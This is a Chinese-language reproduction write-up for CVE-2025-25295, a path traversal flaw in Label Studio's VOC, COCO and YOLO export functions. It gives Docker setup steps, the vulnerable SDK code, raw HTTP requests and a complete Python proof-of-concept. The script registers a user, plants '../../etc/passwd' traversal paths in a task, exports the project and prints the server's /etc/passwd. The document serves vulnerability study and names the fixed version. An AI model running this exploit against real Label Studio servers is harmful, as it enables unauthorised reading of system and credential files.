# Label Studio 任意文件读取漏洞 CVE-2025-25295

## 漏洞描述

Label Studio 是一款开源数据标注工具。它拥有简洁易用的用户界面，支持标注音频、文本、图像、视频和时间序列等多种数据类型，并可导出为多种模型格式。它可用于准备原始数据或改进现有训练数据，从而获得更精准的机器学习模型。

Label Studio SDK 1.0.10 之前的版本存在路径遍历漏洞，允许未经授权访问预期目录结构之外的文件。该漏洞存在于 VOC、COCO 和 YOLO 导出功能中，这些功能会调用 `label-studio-sdk` Python 包中的 `download` 函数，该函数处理图像引用时未能验证文件路径。Label Studio 1.16.0 之前的版本指定了 1.0.10 之前的 SDK 版本作为依赖项，用户应升级到 1.16.0 或更高版本以缓解此问题。

参考链接：

- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g
- https://nvd.nist.gov/vuln/detail/CVE-2025-25295

## 漏洞影响

```
Label Studio SDK ＜ 1.0.10
```

## 环境搭建

执行如下命令启动一个 Label Studio 1.10.0 服务：

```
docker pull heartexlabs/label-studio:1.10.0
docker run -it -p 8080:8080 -v $(pwd)/mydata:/label-studio/data heartexlabs/label-studio:1.10.0
```

服务启动后，可以在 `./mydata` 目录中找到所有生成的资源，包括 SQLite3 数据库存储 `label_studio.sqlite3` 和上传的文件。访问 http://your-ip:8080/ 即可访问服务：

![](images/Label%20Studio%20任意文件读取漏洞%20CVE-2025-25295/image-20251117094721294.png)

## 漏洞复现

注册账号并登录，新建一个带有图像配置标签的项目，在 Labeling Setup 中自定义，使用 `Image` 组件进行标注：

```
<View>
  <Image name="image" value="$image"/>
  <Text name="text" value="$text"/>
  <Choices name="choice" toName="image">
	<Choice value="yes"/>
	<Choice value="no"/>
  </Choices>
</View>
```

![](images/Label%20Studio%20任意文件读取漏洞%20CVE-2025-25295/image-20251117094803476.png)

触发 `is_uploaded_file` 代码：

```
POST /api/projects/6/tasks HTTP/1.1
Host: 192.168.174.2:8080
Content-Type: application/json
Accept: */*
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, zstd
X-CSRFToken: 
Cookie: 
Content-Length: 84

{
  "data": {
    "text": "test",
    "image": "/data/upload/../../../../../etc/passwd"
  }
}
```

![](images/Label%20Studio%20任意文件读取漏洞%20CVE-2025-25295/image-20251117095159095.png)

使用 VOC、YOLO 或 COCO 格式导出项目，服务器将返回一个 Zip 文件，例如：

```
GET /api/projects/6/export?exportType=VOC&download_all_tasks=true&download_resources=true HTTP/1.1
Host: 192.168.174.2:8080
Cache-Control: no-cache
Referer: http://192.168.174.2:8080/projects/2/data/export
Pragma: no-cache
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie:
```

![](images/Label%20Studio%20任意文件读取漏洞%20CVE-2025-25295/image-20251117095254102.png)

![](images/Label%20Studio%20任意文件读取漏洞%20CVE-2025-25295/image-20251117100306723.png)

该漏洞是由于其导出功能调用了 `label-studio-sdk` Python 包中的 `download` 函数，该函数处理图像引用时未能验证文件路径：

```python
def download(
    url,
    output_dir,
    filename=None,
    project_dir=None,
    return_relative_path=False,
    upload_dir=None,
    download_resources=True,
):
    is_local_file = url.startswith("/data/") and "?d=" in url
    is_uploaded_file = url.startswith("/data/upload")

    if is_uploaded_file:
        upload_dir = _get_upload_dir(project_dir, upload_dir)
        filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
        filepath = os.path.join(upload_dir, filename)
        logger.debug(
            f"Copy {filepath} to {output_dir}".format(
                filepath=filepath, output_dir=output_dir
            )
        )
        if download_resources:
            shutil.copy(filepath, output_dir)
        if return_relative_path:
            return os.path.join(
                os.path.basename(output_dir), os.path.basename(filename)
            )
        return filepath

    if is_local_file:
        filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
        dir_path = str(urllib.parse.unquote(dir_path))
        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
        if not os.path.exists(filepath):
            raise FileNotFoundError(filepath)
        if download_resources:
            shutil.copy(filepath, output_dir)
        return filepath
```

## 漏洞 POC

```python
import requests
from bs4 import BeautifulSoup
import io
import zipfile

BASE_URL = "http://xbow-app-1:8000"
USERNAME = "test@test.com"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC"         # Valid values: "VOC", "COCO" or "YOLO"

print("Signing up...")
url = "%s/user/signup/" % BASE_URL
session = requests.Session()

# First get the CSRF token
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
print(f"Got CSRF token: {csrf_token}")

# Prepare registration data
data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
    'allow_newsletters': 'false',
    'allow_newsletters_visual': 'false'
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

# Submit the registration request
response = session.post(url, data=data, headers=headers)
print(f"User registration response status code: {response.status_code}\n")

# Login
print("Logging in...")
url = "%s/user/login" % BASE_URL

# Attempt login with our credentials
login_data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

response = session.post(url, data=login_data, headers=headers)

print(f"Login response status code: {response.status_code}")

# Check if we got any tokens in the response
print("\nCookies after login:")
for cookie in session.cookies:
    print(f"{cookie.name}: {cookie.value}")

# We will use these headers moving forward
headers = {
    'Content-Type': 'application/json',
    'X-CSRFToken': session.cookies['csrftoken']
}

# Creat a project to then create a task associated to it
print("\nCreating project...")
# Try to create a project with a file upload configuration
project_data = {
    "title": "File Upload Test",
    "description": "Testing file upload functionality",
    "label_config": """
    <View>
      <Image name="image" value="$image"/>
      <Text name="text" value="$text"/>
      <Choices name="choice" toName="image">
        <Choice value="yes"/>
        <Choice value="no"/>
      </Choices>
    </View>
    """
}
response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers)
if response.status_code != 201:
    print("Problem creating project, aborting")
    exit(0)    
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")

# Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
    task_data["data"] = {
            "text": "test",
            "image": "/data/upload/../../../../../etc/passwd"    # Trigger for is_uploaded_file
    }
else:
    task_data["data"] = {
            "text": "test",
            "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
    }
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
    print("Problem creating task, aborting")
    exit(0)    
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")

# Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})

# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true")
if (response.status_code != 200):
    print("Couldn't fetch export file")
    exit(0)

file_like_object = io.BytesIO(response.content)
zipfile_ob = zipfile.ZipFile(file_like_object)
print("Dumping /etc/passwd file contents:")
print(zipfile_ob.read("images/passwd").decode("utf-8"))

```

## 漏洞修复

- 升级到 Label Studio 1.16.0 或更高版本。
